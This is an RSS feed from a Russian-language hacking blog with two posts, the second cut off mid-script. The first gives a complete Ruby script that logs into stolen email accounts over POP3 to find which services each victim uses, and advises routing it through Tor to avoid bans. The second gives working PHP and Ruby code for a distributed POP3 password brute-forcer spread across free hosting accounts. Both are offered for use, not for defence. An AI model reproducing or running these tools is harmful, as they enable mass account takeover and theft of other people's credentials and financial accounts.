<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; POP3</title>
	<atom:link href="http://blog.lukmus.ru/tag/pop3/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>сканирование e-mail&#8217;ов на аккаунты различных сервисов</title>
		<link>http://blog.lukmus.ru/2011/07/27/1038/</link>
		<comments>http://blog.lukmus.ru/2011/07/27/1038/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 07:06:16 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[скрипты]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[почта]]></category>
		<category><![CDATA[сканирование на аккаунты]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=1038</guid>
		<description><![CDATA[В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их взломали добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( сам разговор ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце [...]]]></description>
			<content:encoded><![CDATA[<p>В общем зашел разговор о том что делать с вагоном e-mail&#8217;ов после того как вы их <del datetime="2011-07-27T05:05:12+00:00">взломали</del> добыли. Речь там шла про то как отсортировать эти почты по наличию определенных аккаунтов ( <a rel="nofollow" href="http://forum.antichat.ru/thread285666.html">сам разговор</a> ). А я как раз чуть больше года назад писал скрипт для этих целей. Собственно тут я его выложу и вкратце расскажу как он работает.<br />
<img class="aligncenter size-full wp-image-1039" title="Талон_1990_Ленинград_2" src="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" alt="" width="517" height="320" /><br />
<span id="more-1038"></span></p>
<h2>суть вкратце</h2>
<p>Читаем поочередно из файла логины и пароли от почт, после чего заходим на них по POP3.</p>
<p>Далее проходимся по всем сообщениям и если это сообщение от нужного нам адреса, например Вконтакте.Ру (admin@vkontakte.ru), то добавляем этот логин в нужный список, удаляем из массива этого адресата и идем по его сообщениям дальше. Сканирование одной почты продолжается до тех пор пока не кончатся все адресаты или не закончатся сообщения в почте. Далее берем следующий e-mail.</p>
<h2>скрипт</h2>
<p>Скрипт написан на Ruby и работает как на версии 1.8, так и на 1.9. Пробовал его только на Linux, но подозреваю, что на Windows он тоже будет прекрасно работать.</p>
<h3>получение параметров и начальная настройка</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/ruby</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/pop'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">size</span>!=<span style="color:#006666;">3</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;&lt;infile&gt; &lt;logfile&gt; &lt;start no&gt;&quot;</span>
  <span style="color:#CC0066; font-weight:bold;">exit</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$infile</span>,$logfile,$start_no=ARGV
<span style="color:#ff6633; font-weight:bold;">$start_no</span>=$start_no.<span style="color:#9900CC;">to_i</span>
&nbsp;
<span style="color:#ff6633; font-weight:bold;">$service</span>=<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'torrents.ru'</span>,<span style="color:#996600;">'tfile.ru'</span>,<span style="color:#996600;">'skype.com'</span>,
  <span style="color:#996600;">'ozon.ru'</span>,<span style="color:#996600;">'odnoklassniki.ru'</span>,<span style="color:#996600;">'smartpay.com.ua'</span>,
  <span style="color:#996600;">'vkontakte.ru'</span>, <span style="color:#996600;">'webmoney.ru'</span>,<span style="color:#996600;">'moneybookers.com'</span>,
  <span style="color:#996600;">'e-gold.com'</span>,<span style="color:#996600;">'e-port.ru'</span>,<span style="color:#996600;">'agava.ru'</span>,
  <span style="color:#996600;">'hoster.ru'</span>,<span style="color:#996600;">'dinohost.ru'</span>,<span style="color:#996600;">'eskhosting.ru'</span>,
  <span style="color:#996600;">'infobox.ru'</span>,<span style="color:#996600;">'zemskov.ru'</span>,<span style="color:#996600;">'art-host.ru'</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<p>Итак, скрипт получает в командной строке 3 параметра:</p>
<ol>
<li>файл, содержащий почты и пароли от них в формате <code>mail@example.ru:passwd</code>, причем каждая почта на новой строке</li>
<li>файл лога, сюда будут записываться все почты, к которым не удалось авторизоваться  и другие ошибки</li>
<li>номер почты в <code>$infile</code>, с которой нужно начать работу. Нумерация с нуля.</li>
</ol>
<p>Далее идет массив, содержащий сервисы на которые будут сканироваться аккаунты почт. Смысл здесь в домене т.е. сюда нужно добавлять домены с которых высылаются e-mail&#8217;ы этих сервисов.</p>
<h3>некоторые неключевые функции</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> exist<span style="color:#006600; font-weight:bold;">&#40;</span>str,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  outf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  outf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str}&quot;</span>
  outf.<span style="color:#9900CC;">close</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> log<span style="color:#006600; font-weight:bold;">&#40;</span>text,file<span style="color:#006600; font-weight:bold;">&#41;</span>
  logf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>file,<span style="color:#996600;">'a'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  logf.<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
  logf.<span style="color:#9900CC;">close</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{text}&quot;</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>head,service<span style="color:#006600; font-weight:bold;">&#41;</span>
  service.<span style="color:#9900CC;">each_with_index</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>se,i<span style="color:#006600; font-weight:bold;">|</span> <span style="color:#0000FF; font-weight:bold;">return</span> i <span style="color:#9966CC; font-weight:bold;">if</span> head.<span style="color:#9966CC; font-weight:bold;">include</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>se<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#125;</span>
  <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Немного объясню функции:</p>
<ul>
<li><code>exist</code> &#8211; записывает аккаунт почты в файл одноименный с доменом сервиса, в случае если почта зарегистрирована в этом сервисе</li>
<li><code>log</code> &#8211; записывает сообщение в файл лога</li>
<li><code>check_letter</code> &#8211; проверяет заголовок письма на наличие домена сервиса, обходя массив сервисов. В случае если письмо отправлено от нужного домена возвращает индекс этого домена в массиве, в противном случае возвращает <code>-1</code>.</li>
</ul>
<h3>функция сканирования почты</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#9966CC; font-weight:bold;">def</span> check<span style="color:#006600; font-weight:bold;">&#40;</span>mail,pass,service<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#008000; font-style:italic;"># разбиваем почтовый адрес @, на логин и домен</span>
    login,pop_server=mail.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'@'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    pop_server=<span style="color:#996600;">'pop.'</span><span style="color:#006600; font-weight:bold;">+</span>pop_server
    count_reg=<span style="color:#006666;">0</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop=<span style="color:#6666ff; font-weight:bold;">Net::POP3</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>pop_server<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># соединяемся с POP3-сервером</span>
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        pop.<span style="color:#9900CC;">start</span><span style="color:#006600; font-weight:bold;">&#40;</span>login,pass<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> e
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">begin</span>
    <span style="color:#008000; font-style:italic;"># обходим письма в почте</span>
    pop.<span style="color:#9900CC;">mails</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>msg<span style="color:#006600; font-weight:bold;">|</span>
        hed=msg.<span style="color:#9900CC;">header</span>
        STDOUT.<span style="color:#9900CC;">flush</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#006600; font-weight:bold;">&#40;</span>si=check_letter<span style="color:#006600; font-weight:bold;">&#40;</span>hed,service<span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&gt;</span>=<span style="color:#006666;">0</span>
	  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'!'</span> <span style="color:#008000; font-style:italic;">###</span>
          exist<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{mail}/#{pass}&quot;</span>,service<span style="color:#006600; font-weight:bold;">&#91;</span>si<span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
          <span style="color:#008000; font-style:italic;"># удаляем сервис из экземпляра</span>
          <span style="color:#008000; font-style:italic;"># индивидуального массива сервисов</span>
          <span style="color:#008000; font-style:italic;"># для данной почты</span>
          service.<span style="color:#9900CC;">delete_at</span><span style="color:#006600; font-weight:bold;">&#40;</span>si<span style="color:#006600; font-weight:bold;">&#41;</span>
          count_reg<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
          <span style="color:#9966CC; font-weight:bold;">if</span> service.<span style="color:#9900CC;">size</span>==<span style="color:#006666;">0</span>
            pop.<span style="color:#9900CC;">finish</span>
            <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
          <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
        <span style="color:#9966CC; font-weight:bold;">else</span>
	   <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'.'</span>
	<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#if</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#each</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">EOFError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">4</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Timeout::Error</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#6666ff; font-weight:bold;">Net::POPError</span>
      pop.<span style="color:#9900CC;">finish</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">5</span>
    <span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#begin</span>
&nbsp;
    pop.<span style="color:#9900CC;">finish</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> count_reg
<span style="color:#9966CC; font-weight:bold;">end</span><span style="color:#008000; font-style:italic;">#def</span></pre></td></tr></table></div>

<p>Тут следует кое-что учесть. Эта функция в самом своем начале разбивает e-mail адрес на логин @ домен, после чего адрес POP3-сервера получается из суммы &#8216;pop.&#8217;+домен.<br />
Такая схема работает для бесплатных обывательских почт типа: mail.ru, rambler.ru, yandex.ru, hotmail.com итд. Однако, если почта не от популярных сервисов бесплатных почт, то адрес POP3-сервера может быть какой угодно.<br />
Также нужно знать, если домен настроен, например, в услуге Яндекса &#8216;Почта для домена&#8217;, то логин будет равен адресу почты целиком, а не только его первая часть до собаки (@).</p>
<h3>обход исходного файла</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">inf=<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span>$infile,<span style="color:#996600;">'r'</span><span style="color:#006600; font-weight:bold;">&#41;</span>
i=<span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;"># крутим файл до заданной начальной строки</span>
<span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>i<span style="color:#006600; font-weight:bold;">&lt;</span>$start_no<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># построчно обходим файл</span>
<span style="color:#9966CC; font-weight:bold;">while</span> !inf.<span style="color:#9900CC;">eof</span> <span style="color:#9966CC; font-weight:bold;">do</span>
  str=inf.<span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chop!</span>
  <span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">&quot;#{i})#{str} checking...&quot;</span> <span style="color:#008000; font-style:italic;">###</span>
  STDOUT.<span style="color:#9900CC;">flush</span>
  ret=check<span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>,str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;:&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>,$service<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">to_i</span>
  <span style="color:#9966CC; font-weight:bold;">case</span> ret
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Unknow time is out #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">2</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't connect to the server #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">1</span>
      log<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;Can't auth #{str}&quot;</span>,$logfile<span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">when</span> <span style="color:#006666;">0</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;FAIL #{str}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">else</span>
      <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Time.now}: #{str} SUCCESS #{ret}&quot;</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
  i<span style="color:#006600; font-weight:bold;">+</span>=<span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
inf.<span style="color:#9900CC;">close</span></pre></td></tr></table></div>

<p>Ну тут все просто и примитивно.</p>
<h2>заключение</h2>
<p>Следует помнить, что доступ по POP3 вообще может быть отключен у почты, в этом случае почта будет добавлен в лог, как имеющая не верный пароль. Помимо этого если в списке много раз будет не проходить авторизация, то тот или иной POP3-сервер может забанить ваш IP за брутфорс, чтобы такого не было рекомендую запускать скрипт через известную связку TOR-Privoxy-Proxychains.</p>
<p>Целиком скрипт можно скачать тут - <a href="http://blog.lukmus.ru/wp-content/uploads/2011/07/check_mail_for_diff_accs.rb_.zip">check_mail_for_diff_accs.rb</a>.<br />
<meta property="og:image" content="http://blog.lukmus.ru/wp-content/uploads/2011/07/Талон_1990_Ленинград_2.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2011/07/27/1038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>распределенный POP3-брутфорс или брут мыл через фрихосты</title>
		<link>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/</link>
		<comments>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 01:55:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[freehost]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=86</guid>
		<description><![CDATA[Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть. Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и [...]]]></description>
			<content:encoded><![CDATA[<p>Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.</p>
<p>Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.<br />
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота &#8211; попытка авторизации на POP3-сервере.<span id="more-86"></span></p>
<p>Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.<br />
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.</p>
<p>Брутфорс будет состоять из 2-х частей:</p>
<ol>
<li>серверная &#8211; PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем</li>
<li>клиентская &#8211; Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся</li>
</ol>
<p><strong>Сервер (PHP-скрипты).</strong></p>
<p>Сервер будет состоять из 3-х файлов:</p>
<ol>
<li>библиотека &#8211; lib.php</li>
<li>конфигурация &#8211; config.php</li>
<li>сам скрипт авторизации &#8211; brut.php</li>
</ol>
<p>В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.</p>
<p>Итак, сам lib.php:</p>
<blockquote><p>&lt;?php<br />
class Email {<br />
var $server;<br />
var $full_addr;<br />
var $login;<br />
const SOCK_ERR=-3;<br />
const FST_GET_ERR=-2;<br />
const LOGIN_ERR=-1;<br />
const INCCORECT_PASS=0;<br />
const SUCC=1;</p>
<p>function __construct($addr)<br />
{$this-&gt;full_addr=$addr;<br />
$this-&gt;set_serv();<br />
$this-&gt;set_login(); }</p>
<p>private function set_serv ()<br />
{$strpos=strpos($this-&gt;full_addr,&#8217;@');<br />
$this-&gt;server=&#8221;pop.&#8221; . substr($this-&gt;full_addr,$strpos+1,strlen($this-&gt;full_addr)-$strpos); }</p>
<p>private function set_login ()<br />
{$this-&gt;login=substr($this-&gt;full_addr,0,strpos($this-&gt;full_addr,&#8217;@')); }</p>
<p>public function try_auth ($pass)<br />
{ $pop_conn = fsockopen($this-&gt;server, 110,$errno, $errstr, 10);<br />
if (!(is_resource($pop_conn))) return -3;</p>
<p>$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -2;</p>
<p>fputs($pop_conn,&#8221;USER $this-&gt;login\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -1;</p>
<p>fputs($pop_conn,&#8221;PASS $pass\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))return 0;</p>
<p>fclose($pop_conn);<br />
return 1;<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.</p>
<blockquote><p>&lt;?php<br />
$login=&#8221;root&#8221;;<br />
$pass=&#8221;jvgfdhg6hj&#8221;;<br />
?&gt;</p></blockquote>
<p>Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.</p>
<blockquote><p>&lt;?php<br />
include &#8216;lib.php&#8217;;<br />
include &#8216;config.php&#8217;;</p>
<p>if (!isset($_POST['login']) || $_POST['login']!=$login) die();<br />
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();<br />
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();</p>
<p>$email= new Email($_POST['op_addr']);<br />
echo &#8216;&lt;ans&gt;&#8217;.$email-&gt;try_auth($_POST['op_pass']).&#8217;&lt;/ans&gt;&#8217;;<br />
?&gt;</p></blockquote>
<p>brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 &#8211; пароль не подошел, 1 &#8211; пароль подошел.</p>
<p>На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.</p>
<p><strong>Клиент (Ruby-скрипты).</strong></p>
<p>Клиентская часть состоит из 2-х скриптов:</p>
<ol>
<li>config.rb &#8211; файл конфигурации</li>
<li>main.rb &#8211; собственно сам клиент</li>
</ol>
<p>Сначала рассмотрим кофиг. Представляет он из себя следующее:</p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']<br />
$path=&#8217;/mailbrut/brut.php&#8217;</p>
<p>$login=&#8221;root&#8221;<br />
$pass=&#8221;jvgfdhg6hj&#8221;</p>
<p>$th_count=3</p>
<p>$fl_addrs=&#8221;mail_list&#8221;<br />
$fl_log=&#8221;mailbrut.log&#8221;<br />
$fl_good=&#8221;good_accs&#8221;</p>
<p>$passes=['pass','qwerty','123456','12345','etc...']</p></blockquote>
<p>Теперь разберемся в нем:</p>
<ul>
<li>$servers &#8211; здесь пишем наши фризосты</li>
<li>$path &#8211; путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же</li>
<li>$login и $pass &#8211; пароль админа брута, должен совпадать с указанными в config.php в серверной части</li>
<li>$th_count &#8211; количество потоков брутфорса, он же у нас многопоточный</li>
<li>$fl_addrs &#8211; файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.</li>
<li>$fl_log &#8211; лог, сюда пишутся все ошибки</li>
<li>$fl_good &#8211; здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass</li>
<li>$passes &#8211; записываем пароли, на которые брутим</li>
</ul>
<p>А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.</p>
<p>main.rb:</p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;config.rb&#8217;</p>
<p>class WEB_Server<br />
def initialize (servers)<br />
@servers=servers<br />
@i=0<br />
end#def<br />
def next_s<br />
server=@servers[@i]<br />
@i+=1<br />
if @i&gt;=@servers.size then @i=0 end<br />
return server<br />
end#def<br />
end#class</p>
<p>def log(logfl,msg)<br />
mess=&#8221;#{Time.now} &lt;-&gt; #{msg}&#8221;<br />
logf=File.new(logfl,&#8217;a')<br />
logf.puts mess<br />
logf.close<br />
puts mess<br />
end#def</p>
<p>puts &#8220;Lukmus PHP-Ruby WebMailBrut starting&#8230;&#8221;</p>
<p>servers=WEB_Server.new($servers)<br />
accs=File.new($fl_addrs,&#8217;r')<br />
while !accs.eof do<br />
op_addr=accs.gets.chop<br />
while Thread.list.size&gt;$th_count do sleep(1) end<br />
th=Thread.new(op_addr) do |p_addr|<br />
$passes.each do |p_pass|<br />
serv=servers.next_s<br />
http = Net::HTTP.new(serv, 80)<br />
data = &#8220;login=#{$login}&amp;pass=#{$pass}&amp;op_addr=#{p_addr}&amp;op_pass=#{p_pass}&#8221;<br />
headers = { &#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;}<br />
resp, data = http.post($path, data, headers)<br />
ans=data.split(&#8216;&lt;ans&gt;&#8217;)[1].split(&#8216;&lt;/ans&gt;&#8217;)[0]<br />
case ans<br />
when &#8216;-3&#8242;<br />
log($fl_log,&#8221;ERR #3 Can&#8217;t open socket &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-2&#8242;<br />
log($fl_log,&#8221;ERR #2 Can&#8217;t connect to server &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-1&#8242;<br />
log($fl_log,&#8221;ERR #1 Can&#8217;t input login &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8217;0&#8242;<br />
puts &#8220;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; invalid pass&#8221;<br />
when &#8217;1&#8242;<br />
